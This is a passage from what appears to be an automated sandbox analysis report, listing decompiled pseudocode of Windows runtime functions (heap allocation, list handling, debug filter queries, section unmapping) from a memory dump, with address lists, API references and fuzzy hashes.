											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *(_t114 - 0x5c) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											E6CE5DEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E6CE4B280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E6CE4B7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E6CE4E2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E6CE4A890() != 0) {
					goto L6;
				}
				goto L3;
			}

0x6ce0b171
0x6ce0b171
0x6ce0b171
0x6ce0b171
0x6ce0b171
0x6ce0b176
0x6ce0b17b
0x6ce0b180
0x6ce0b186
0x6ce0b18f
0x6ce0b198
0x6ce0b1a4
0x6ce0b1aa
0x6ce64802
0x6ce64802
0x6ce64805
0x6ce6480c
0x6ce6480e
0x6ce0b1d1
0x6ce0b1d3
0x6ce0b1de
0x6ce0b1de
0x6ce64817
0x6ce6481e
0x6ce64820
0x6ce64822
0x6ce64822
0x6ce64824
0x6ce64824
0x6ce6482a
0x00000000
0x00000000
0x6ce64835
0x6ce6483a
0x6ce6483d
0x6ce6483f
0x6ce64842
0x6ce64842
0x6ce64842
0x6ce64846
0x6ce6484c
0x6ce6484e
0x6ce64851
0x6ce64851
0x6ce64853
0x6ce64854
0x6ce64854
0x6ce64858
0x6ce6485a
0x6ce6485a
0x6ce6485d
0x6ce6485f
0x6ce64861
0x6ce64861
0x6ce64866
0x6ce6486b
0x6ce6486e
0x6ce64871
0x6ce64876
0x6ce64876
0x6ce64878
0x6ce6487b
0x6ce64884
0x6ce64884
0x00000000
0x6ce6487d
0x6ce6487d
0x6ce64882
0x6ce64889
0x6ce64889
0x6ce6488f
0x6ce64891
0x6ce648e0
0x6ce648e2
0x6ce648e4
0x6ce648e4
0x6ce648e7
0x6ce648e7
0x6ce648ed
0x6ce648f4
0x6ce648f6
0x6ce64951
0x6ce64951
0x6ce64953
0x6ce64953
0x6ce64956
0x6ce64956
0x6ce64958
0x6ce64959
0x6ce64959
0x6ce6495d
0x6ce6495d
0x6ce6495f
0x6ce6495f
0x6ce64965
0x6ce64969
0x6ce649ba
0x6ce649ba
0x6ce649c1
0x6ce649c5
0x6ce649cc
0x6ce649d4
0x6ce649d7
0x6ce649da
0x6ce649e4
0x6ce649e5
0x6ce649f3
0x6ce64a02
0x00000000
0x6ce64a02
0x6ce64972
0x6ce64974
0x00000000
0x00000000
0x6ce64976
0x6ce64979
0x6ce64982
0x6ce64983
0x6ce64984
0x6ce6498b
0x6ce6498d
0x6ce64991
0x6ce64993
0x6ce64999
0x6ce6499d
0x6ce649a2
0x6ce649a2
0x6ce649a2
0x6ce64999
0x6ce649ac
0x00000000
0x6ce649b3
0x6ce648f8
0x6ce648fe
0x00000000
0x00000000
0x00000000
0x6ce648fe
0x6ce64895
0x6ce6489c
0x6ce648ad
0x6ce648b2
0x6ce648b5
0x6ce648b7
0x6ce648ba
0x6ce648bc
0x6ce648c6
0x6ce648c6
0x6ce648cb
0x6ce648d1
0x6ce648d4
0x6ce648d8
0x6ce648d8
0x00000000
0x6ce648d8
0x6ce648be
0x6ce648c0
0x00000000
0x00000000
0x6ce648c2
0x00000000
0x00000000
0x00000000
0x6ce648c4
0x00000000
0x6ce64882
0x6ce6487b
0x6ce64904
0x6ce64906
0x00000000
0x00000000
0x6ce64908
0x6ce6490e
0x00000000
0x00000000
0x6ce64910
0x6ce64917
0x6ce64917
0x00000000
0x6ce64917
0x6ce0b1ba
0x6ce647f9
0x6ce647fc
0x00000000
0x00000000
0x00000000
0x6ce647fc
0x6ce0b1c0
0x6ce0b1c0
0x6ce0b1c3
0x6ce0b1cb
0x00000000
0x00000000
0x00000000

APIs

ZwQueryDebugFilterState.1105(?,6CE4B627,6CEDF7A8,00000090,6CE0B16E,00000003,6CE4B627,0000000A,00000001,00000000,0000000A,6CE4B627,Invalid parameter passed to C runtime function.), ref: 6CE0B1C4
_alloca_probe_16.1105(6CEDF7A8,00000090,6CE0B16E,00000003,6CE4B627,0000000A,00000001,00000000,0000000A,6CE4B627,Invalid parameter passed to C runtime function.), ref: 6CE64835
memcpy.1105(?,?,?,6CEDF7A8,00000090,6CE0B16E,00000003,6CE4B627,0000000A,00000001,00000000,0000000A,6CE4B627), ref: 6CE64866
_vsnprintf.1105(?,-00000081,?,?,0000000A,6CE4B627), ref: 6CE648AD
ZwWow64DebuggerCall.1105(00000001,00000000,7FFE02D4,?,6CE4B627,6CEDF7A8,00000090,6CE0B16E,00000003,6CE4B627,0000000A,00000001,00000000,0000000A,6CE4B627,Invalid parameter passed to C runtime function.), ref: 6CE64986

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CallDebugDebuggerFilterQueryStateWow64_alloca_probe_16_vsnprintfmemcpy
String ID:
API String ID: 1346858437-0
Opcode ID: 164897062e1f988ba8c97416ffa1c652942e5d54d629c022aa0ac18c803b24a1
Instruction ID: b26658f2fc48ef2e67b7cd0c95121117b99695294568cc28c726237d9b0ca2eb
Opcode Fuzzy Hash: 164897062e1f988ba8c97416ffa1c652942e5d54d629c022aa0ac18c803b24a1
Instruction Fuzzy Hash: 92512471D642598EDB21CF65C860BAEBBB0BF01718F3042AEE859ABF81D73449458F80

Uniqueness

Uniqueness Score: -1.00%

Function 6CED740D, Relevance: 9.1, APIs: 6, Instructions: 141
memoryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6CED740D(intOrPtr __ecx, signed short* __edx, intOrPtr _a4) {
				signed short* _v8;
				intOrPtr _v12;
				intOrPtr _t55;
				void* _t56;
				intOrPtr* _t66;
				intOrPtr* _t69;
				void* _t74;
				intOrPtr* _t78;
				intOrPtr* _t81;
				intOrPtr* _t82;
				intOrPtr _t83;
				signed short* _t84;
				intOrPtr _t85;
				int _t87;
				intOrPtr* _t90;
				intOrPtr* _t93;
				intOrPtr* _t94;
				void* _t98;

				_t84 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t55 = __ecx;
				_v8 = __edx;
				_t87 =  *__edx & 0x0000ffff;
				_v12 = __ecx;
				_t3 = _t55 + 0x154; // 0x154
				_t93 = _t3;
				_t78 =  *_t93;
				_t4 = _t87 + 2; // 0x2
				_t56 = _t4;
				while(_t78 != _t93) {
					if( *((intOrPtr*)(_t78 + 0x14)) != _t56) {
						L4:
						_t78 =  *_t78;
						continue;
					} else {
						_t7 = _t78 + 0x18; // 0x18
						if(E6CE5D4F0(_t7, _t84[2], _t87) == _t87) {
							_t40 = _t78 + 0xc; // 0xc
							_t94 = _t40;
							_t90 =  *_t94;
							while(_t90 != _t94) {
								_t41 = _t90 + 8; // 0x8
								_t74 = E6CE4F380(_a4, _t41, 0x10);
								_t98 = _t98 + 0xc;
								if(_t74 != 0) {
									_t90 =  *_t90;
									continue;
								}
								goto L12;
							}
							_t82 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0x18);
							if(_t82 != 0) {
								_t46 = _t78 + 0xc; // 0xc
								_t69 = _t46;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t85 =  *_t69;
								if( *((intOrPtr*)(_t85 + 4)) != _t69) {
									L20:
									_t82 = 3;
									asm("int 0x29");
								}
								 *((intOrPtr*)(_t82 + 4)) = _t69;
								 *_t82 = _t85;
								 *((intOrPtr*)(_t85 + 4)) = _t82;
								 *_t69 = _t82;
								 *(_t78 + 8) =  *(_t78 + 8) + 1;
								 *(_v12 + 0xdc) =  *(_v12 + 0xdc) | 0x00000010;
								goto L11;
							} else {
								L18:
								_push(0xe);
								_pop(0);
							}
						} else {
							_t84 = _v8;
							_t9 = _t87 + 2; // 0x2
							_t56 = _t9;
							goto L4;
						}
					}
					L12:
					return 0;
				}
				_t10 = _t87 + 0x1a; // 0x1a
				_t78 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t10);
				if(_t78 == 0) {
					goto L18;
				} else {
					_t12 = _t87 + 2; // 0x2
					 *((intOrPtr*)(_t78 + 0x14)) = _t12;
					_t16 = _t78 + 0x18; // 0x18
					memcpy(_t16, _v8[2], _t87);
					 *((short*)(_t78 + _t87 + 0x18)) = 0;
					_t19 = _t78 + 0xc; // 0xc
					_t66 = _t19;
					 *((intOrPtr*)(_t66 + 4)) = _t66;
					 *_t66 = _t66;
					 *(_t78 + 8) =  *(_t78 + 8) & 0x00000000;
					_t81 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0x18);
					if(_t81 == 0) {
						goto L18;
					} else {
						_t26 = _t78 + 0xc; // 0xc
						_t69 = _t26;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t85 =  *_t69;
						if( *((intOrPtr*)(_t85 + 4)) != _t69) {
							goto L20;
						} else {
							 *((intOrPtr*)(_t81 + 4)) = _t69;
							 *_t81 = _t85;
							 *((intOrPtr*)(_t85 + 4)) = _t81;
							 *_t69 = _t81;
							_t83 = _v12;
							 *(_t78 + 8) = 1;
							 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							_t34 = _t83 + 0x154; // 0x1ba
							_t69 = _t34;
							_t85 =  *_t69;
							if( *((intOrPtr*)(_t85 + 4)) != _t69) {
								goto L20;
							} else {
								 *_t78 = _t85;
								 *((intOrPtr*)(_t78 + 4)) = _t69;
								 *((intOrPtr*)(_t85 + 4)) = _t78;
								 *_t69 = _t78;
								 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							}
						}
						goto L11;
					}
				}
				goto L12;
			}

0x6ced740d
0x6ced7412
0x6ced7413
0x6ced7416
0x6ced7418
0x6ced741c
0x6ced741f
0x6ced7422
0x6ced7422
0x6ced7428
0x6ced742a
0x6ced742a
0x6ced7451
0x6ced7432
0x6ced744f
0x6ced744f
0x00000000
0x6ced7434
0x6ced7438
0x6ced7443
0x6ced7517
0x6ced7517
0x6ced751a
0x6ced7535
0x6ced7520
0x6ced7527
0x6ced752c
0x6ced7531
0x6ced7533
0x00000000
0x6ced7533
0x00000000
0x6ced7531
0x6ced754b
0x6ced754f
0x6ced755c
0x6ced755c
0x6ced755f
0x6ced7560
0x6ced7561
0x6ced7562
0x6ced7563
0x6ced7568
0x6ced756a
0x6ced756c
0x6ced756d
0x6ced756d
0x6ced756f
0x6ced7572
0x6ced7574
0x6ced7577
0x6ced757c
0x6ced757f
0x00000000
0x6ced7551
0x6ced7551
0x6ced7551
0x6ced7553
0x6ced7553
0x6ced7449
0x6ced7449
0x6ced744c
0x6ced744c
0x00000000
0x6ced744c
0x6ced7443
0x6ced750e
0x6ced7514
0x6ced7514
0x6ced7455
0x6ced7469
0x6ced746d
0x00000000
0x6ced7473
0x6ced7473
0x6ced7476
0x6ced7480
0x6ced7484
0x6ced748e
0x6ced7493
0x6ced7493
0x6ced7496
0x6ced7499
0x6ced74a1
0x6ced74b1
0x6ced74b5
0x00000000
0x6ced74bb
0x6ced74c1
0x6ced74c1
0x6ced74c4
0x6ced74c5
0x6ced74c6
0x6ced74c7
0x6ced74c8
0x6ced74cd
0x00000000
0x6ced74d3
0x6ced74d3
0x6ced74d6
0x6ced74d8
0x6ced74db
0x6ced74dd
0x6ced74e0
0x6ced74e7
0x6ced74ee
0x6ced74ee
0x6ced74f4
0x6ced74f9
0x00000000
0x6ced74fb
0x6ced74fb
0x6ced74fd
0x6ced7500
0x6ced7503
0x6ced7505
0x6ced7505
0x6ced74f9
0x00000000
0x6ced74cd
0x6ced74b5
0x00000000

APIs

RtlCompareMemory.1105(00000018,?,00000000,00000000,00000000,00000000,00000000,00000000,?,6CE814C4,0000000C,?,?,00000000,00000066,00000000), ref: 6CED743C
RtlAllocateHeap.1105(?,00000008,0000001A,00000000,00000000,00000000,00000000,00000000,?,6CE814C4,0000000C,?,?,00000000,00000066,00000000), ref: 6CED7464
memcpy.1105(00000018,?,00000000,?,00000008,0000001A,00000000,00000000,00000000,00000000,00000000,?,6CE814C4,0000000C,?,?), ref: 6CED7484
RtlAllocateHeap.1105(?,00000008,00000018,00000000,00000066,00000000), ref: 6CED74AC
memcmp.1105(00000066,00000008,00000010,00000018,?,00000000,00000000,00000000,00000000,00000000,00000000,?,6CE814C4,0000000C,?,?), ref: 6CED7527
RtlAllocateHeap.1105(?,00000008,00000018,00000000,00000066,00000000), ref: 6CED7546

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap$CompareMemorymemcmpmemcpy
String ID:
API String ID: 3500240269-0
Opcode ID: 53f0b23cde38d8cbdebcfad0d89ab03898b2aa5ba471344c79297c4b5cd44298
Instruction ID: 830521ddc3752ba22ae2514738aaece9cb579d212356bb9df54ec715d5bfad72
Opcode Fuzzy Hash: 53f0b23cde38d8cbdebcfad0d89ab03898b2aa5ba471344c79297c4b5cd44298
Instruction Fuzzy Hash: AB518D71600606EFDB15CF14C580A86BBB5FF45309F25C1AAE9089F755E371E946CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CE10100, Relevance: 9.1, APIs: 6, Instructions: 122
nativeCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6CE10100(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t37;
				char _t38;
				void* _t42;
				signed int* _t43;
				signed int _t44;
				signed int _t49;
				char _t59;
				intOrPtr* _t61;
				void* _t62;
				signed int _t65;
				intOrPtr _t67;
				signed int _t70;
				signed int _t72;
				void* _t73;

				_push(0x1c);
				_push(0x6cedf848);
				_t37 = E6CE5D08C(__ebx, __edi, __esi);
				_t59 = 0;
				 *((char*)(_t73 - 0x19)) = 0;
				if( *((intOrPtr*)(_t73 + 8)) == 0) {
					_t38 = 0;
					L7:
					return E6CE5D0D1(_t38);
				}
				E6CE22280(_t37, 0x6cef861c);
				 *(_t73 - 4) =  *(_t73 - 4) & 0x00000000;
				_t72 =  *0x6cef6da4;
				if(_t72 == 0) {
					_t59 = 1;
					L26:
					 *((char*)(_t73 - 0x19)) = _t59;
					L6:
					 *(_t73 - 4) = 0xfffffffe;
					E6CE1021A();
					_t38 = _t59;
					goto L7;
				}
				_t70 = _t72;
				 *(_t73 - 0x24) = _t70;
				_t42 =  *0x6cef6da0;
				 *(_t73 - 0x20) = _t42;
				while(_t70 > 0) {
					_t65 = _t70 << 5;
					if( *((intOrPtr*)(_t65 + _t42 - 0x1c)) ==  *((intOrPtr*)(_t73 + 8))) {
						_t61 = _t42 - 0x20 + _t65;
						 *((intOrPtr*)(_t73 - 0x28)) = _t61;
						_t14 = _t61 + 0x10; // 0x10f
						_t43 = _t14;
						 *(_t73 - 0x2c) = _t43;
						_t44 =  *_t43;
						if(_t44 == 0) {
							L21:
							_t62 =  *(_t73 - 0x20);
							L16:
							if(_t70 != _t72) {
								E6CE09FF0(_t70 - 1);
							}
							_t72 = _t72 - 1;
							 *0x6cef6da4 = _t72;
							if(_t72 == 0) {
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t62);
								_t42 = 0;
								 *(_t73 - 0x20) = 0;
								 *0x6cef6da0 = 0;
								 *0x6cef6da8 =  *0x6cef6da8 & 0;
								L32:
								_t70 =  *(_t73 - 0x24);
								_t72 =  *0x6cef6da4;
								L20:
								_t59 = 1;
								 *((char*)(_t73 - 0x19)) = 1;
								goto L5;
							}
							_t49 =  *0x6cef6da8 + 0xffffffe0;
							if(_t72 < _t49) {
								_t42 = RtlReAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t62, _t49 << 5);
								 *(_t73 - 0x20) = _t42;
								if(_t42 != 0) {
									 *0x6cef6da0 = _t42;
									 *0x6cef6da8 =  *0x6cef6da8 - 0x20;
									goto L32;
								}
								_t59 = 0;
								goto L26;
							}
							_t42 =  *(_t73 - 0x20);
							goto L20;
						}
						_t67 =  *((intOrPtr*)(_t73 + 0xc));
						if(_t67 != 0) {
							if(_t67 !=  *_t61) {
								goto L21;
							}
						}
						if(_t44 == 0xffffffff) {
							goto L21;
						}
						_push(_t44 & 0xfffffffc);
						if( *((intOrPtr*)(_t61 + 0x1c)) == 0xc0000019) {
							_push(0);
							RtlFreeHeap( *( *[fs:0x30] + 0x18));
							_t70 =  *(_t73 - 0x24);
							_t61 =  *((intOrPtr*)(_t73 - 0x28));
						} else {
							_push(0xffffffff);
							E6CE497A0();
						}
						if( *(_t61 + 0x14) != 0) {
							_push( *(_t61 + 0x14));
							E6CE495D0();
							 *(_t61 + 0x14) =  *(_t61 + 0x14) & 0x00000000;
						}
						 *( *(_t73 - 0x2c)) =  *( *(_t73 - 0x2c)) & 0x00000000;
						_t72 =  *0x6cef6da4;
						_t62 =  *0x6cef6da0;
						 *(_t73 - 0x20) = _t62;
						goto L16;
					}
					L5:
					_t70 = _t70 - 1;
					 *(_t73 - 0x24) = _t70;
				}
				goto L6;
			}

0x6ce10100
0x6ce10102
0x6ce10107
0x6ce1010c
0x6ce1010e
0x6ce10115
0x6ce66127
0x6ce1016a
0x6ce1016f
0x6ce1016f
0x6ce10120
0x6ce10125
0x6ce10129
0x6ce10131
0x6ce6612e
0x6ce66134
0x6ce66134
0x6ce1015c
0x6ce1015c
0x6ce10163
0x6ce10168
0x00000000
0x6ce10168
0x6ce10137
0x6ce10139
0x6ce1013c
0x6ce10141
0x6ce10144
0x6ce1014a
0x6ce10154
0x6ce10175
0x6ce10177
0x6ce1017a
0x6ce1017a
0x6ce1017d
0x6ce10180
0x6ce10184
0x6ce1020b
0x6ce1020b
0x6ce101db
0x6ce101dd
0x6ce10213
0x6ce10213
0x6ce101df
0x6ce101e2
0x6ce101e8
0x6ce66171
0x6ce66176
0x6ce66178
0x6ce6617b
0x6ce66180
0x6ce66194
0x6ce66194
0x6ce66197
0x6ce10201
0x6ce10201
0x6ce10203
0x00000000
0x6ce10203
0x6ce101f3
0x6ce101f8
0x6ce661b2
0x6ce661b7
0x6ce661bc
0x6ce66188
0x6ce6618d
0x00000000
0x6ce6618d
0x6ce66132
0x00000000
0x6ce66132
0x6ce101fe
0x00000000
0x6ce101fe
0x6ce1018a
0x6ce10191
0x6ce6613f
0x00000000
0x00000000
0x6ce66145
0x6ce1019a
0x00000000
0x00000000
0x6ce1019f
0x6ce101a7
0x6ce6614a
0x6ce66155
0x6ce6615a
0x6ce6615d
0x6ce101ad
0x6ce101ad
0x6ce101af
0x6ce101af
0x6ce101b8
0x6ce101ba
0x6ce101bd
0x6ce101c2
0x6ce101c2
0x6ce101c9
0x6ce101cc
0x6ce101d2
0x6ce101d8
0x00000000
0x6ce101d8
0x6ce10156
0x6ce10156
0x6ce10157
0x6ce10157
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(6CEF861C,6CEDF848,0000001C,6CE0F66C,?,00000000,6CEF52D8), ref: 6CE10120
ZwUnmapViewOfSection.1105(000000FF,?,6CEF861C,6CEDF848,0000001C,6CE0F66C,?,00000000,6CEF52D8), ref: 6CE101AF
ZwClose.1105(?,000000FF,?,6CEF861C,6CEDF848,0000001C,6CE0F66C,?,00000000,6CEF52D8), ref: 6CE101BD

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireCloseExclusiveLockSectionUnmapView
String ID:
API String ID: 1629747488-0
Opcode ID: 6b6e3f492caf7824b40cb71cb737c9edabf2d32a6ddbd0a462a31b9fe5083169
Instruction ID: e5f26654c2c08cde8c8404b3563caa589122fb319e503329f51d335e9fca198f
Opcode Fuzzy Hash: 6b6e3f492caf7824b40cb71cb737c9edabf2d32a6ddbd0a462a31b9fe5083169
Instruction Fuzzy Hash: EE41A032A99644CFCF41DF68C9807DA77B8BF46328F340219D421ABF92D3399965CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6CE85623, Relevance: 9.1, APIs: 6, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6CE85623(signed int __edx) {
				void* _t21;
				signed int _t22;
				void* _t23;
				signed int _t24;
				intOrPtr _t26;
				signed int _t27;
				signed char* _t39;
				signed int _t45;
				signed int _t51;
				signed int _t54;
				signed int _t63;

				_t51 = __edx;
				_t21 = E6CE27D50();
				_t45 = 0x7ffe0384;
				if(_t21 == 0) {
					_t22 = 0x7ffe0384;
				} else {
					_t22 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				_t54 = 0x7ffe0385;
				if( *_t22 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
					if(E6CE27D50() == 0) {
						_t39 = 0x7ffe0385;
					} else {
						_t39 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t39 & 0x00000020) != 0) {
						_t51 = _t51 | 0xffffffff;
						_t63 = _t51;
						L6CE87016(0x1480, _t51, 0xffffffff, 0xffffffff, 0, 0);
					}
				}
				_t23 = E6CE36900(_t63, 0x6cef5350);
				_t24 = E6CE27D50();
				if(_t23 == 0) {
					__eflags = _t24;
					if(_t24 != 0) {
						_t45 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						__eflags = _t45;
					}
					__eflags =  *_t45;
					if( *_t45 != 0) {
						_t26 =  *[fs:0x30];
						__eflags =  *(_t26 + 0x240) & 0x00000004;
						if(( *(_t26 + 0x240) & 0x00000004) != 0) {
							_t27 = E6CE27D50();
							__eflags = _t27;
							if(_t27 != 0) {
								_t54 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								__eflags = _t54;
							}
							__eflags =  *_t54 & 0x00000020;
							if(( *_t54 & 0x00000020) != 0) {
								__eflags = _t51 | 0xffffffff;
								L6CE87016(0x1482, _t51 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					__eflags = 0;
					return 0;
				}
				if(_t24 != 0) {
					_t45 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t45 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
					if(E6CE27D50() != 0) {
						_t54 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t54 & 0x00000020) != 0) {
						L6CE87016(0x1481, _t51 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
					}
				}
				return 1;
			}

0x6ce85623
0x6ce85628
0x6ce8562d
0x6ce85634
0x6ce85646
0x6ce85636
0x6ce8563f
0x6ce8563f
0x6ce8564b
0x6ce85650
0x6ce85668
0x6ce8567a
0x6ce8566a
0x6ce85673
0x6ce85673
0x6ce8567f
0x6ce85689
0x6ce85689
0x6ce85691
0x6ce85691
0x6ce8567f
0x6ce8569b
0x6ce856a2
0x6ce856a9
0x6ce85708
0x6ce8570a
0x6ce85715
0x6ce85715
0x6ce85715
0x6ce8571b
0x6ce8571e
0x6ce85720
0x6ce85726
0x6ce8572d
0x6ce8572f
0x6ce85734
0x6ce85736
0x6ce85741
0x6ce85741
0x6ce85741
0x6ce85747
0x6ce8574a
0x6ce85754
0x6ce8575c
0x6ce8575c
0x6ce8574a
0x6ce8572d
0x6ce85761
0x00000000
0x6ce85761
0x6ce856ad
0x6ce856b8
0x6ce856b8
0x6ce856c1
0x6ce856d9
0x6ce856e4
0x6ce856e4
0x6ce856ed
0x6ce856ff
0x6ce856ff
0x6ce856ed
0x00000000

APIs

RtlGetCurrentServiceSessionId.1105(00000000,00000002,?,6CE7E4BC,6CEE03D0,0000000C,6CE79687,00000000,00000000,00000001,?,?,7FFE0386,?,6CE06778,00000001), ref: 6CE85628
RtlGetCurrentServiceSessionId.1105 ref: 6CE85661
RtlTryEnterCriticalSection.1105(6CEF5350,00000000,00000002,?,6CE7E4BC,6CEE03D0,0000000C,6CE79687,00000000,00000000,00000001,?,?,7FFE0386,?,6CE06778), ref: 6CE8569B
RtlGetCurrentServiceSessionId.1105(6CEF5350,00000000,00000002,?,6CE7E4BC,6CEE03D0,0000000C,6CE79687,00000000,00000000,00000001,?,?,7FFE0386,?,6CE06778), ref: 6CE856A2
RtlGetCurrentServiceSessionId.1105 ref: 6CE856D2
RtlGetCurrentServiceSessionId.1105 ref: 6CE8572F

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$CriticalEnterSection
String ID:
API String ID: 1555030633-0
Opcode ID: 630d6d748e33a34c1be3858412ddf27bf573fd1643bb7fb4bc124f96a99fa976
Instruction ID: 060fcaea449e35830c66702da462d8948e2fc39c76166360ce473f3eb1dd22f7
Opcode Fuzzy Hash: 630d6d748e33a34c1be3858412ddf27bf573fd1643bb7fb4bc124f96a99fa976
Instruction Fuzzy Hash: F13163316477819BFB228768CD44B6437F4AB0276CF3543A4E93A9BFE6DF699401C211

Uniqueness

Uniqueness Score: -1.00%

Function 6CECA189, Relevance: 9.1, APIs: 6, Instructions: 96
nativeCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E6CECA189(signed int __ecx, intOrPtr* __edx) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				void* __ebx;
				void* __edi;
				intOrPtr _t29;
				void** _t30;
				intOrPtr _t40;
				void* _t44;
				signed int _t50;
				void* _t51;
				intOrPtr _t52;

				_v20 = __edx;
				_t50 = __ecx;
				if(__edx != 0) {
					E6CE22280(__edx, 0x6cef6220);
					_t42 = _t50;
					_t40 = E6CECA166(_t50);
					if(_t40 != 0) {
						L15:
						E6CE1FFB0(_t40, _t50, 0x6cef6220);
						 *_v20 = _t40;
						return 0;
					}
					_t44 = E6CECA166(_t42 ^ 0x00000100);
					if(_t44 != 0) {
						_v12 =  *((intOrPtr*)(_t44 + 4));
						_v8 =  *((intOrPtr*)(_t44 + 8));
						L7:
						_t51 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, 0x50);
						if(_t51 != 0) {
							_t10 = _t51 + 0xc; // 0xc
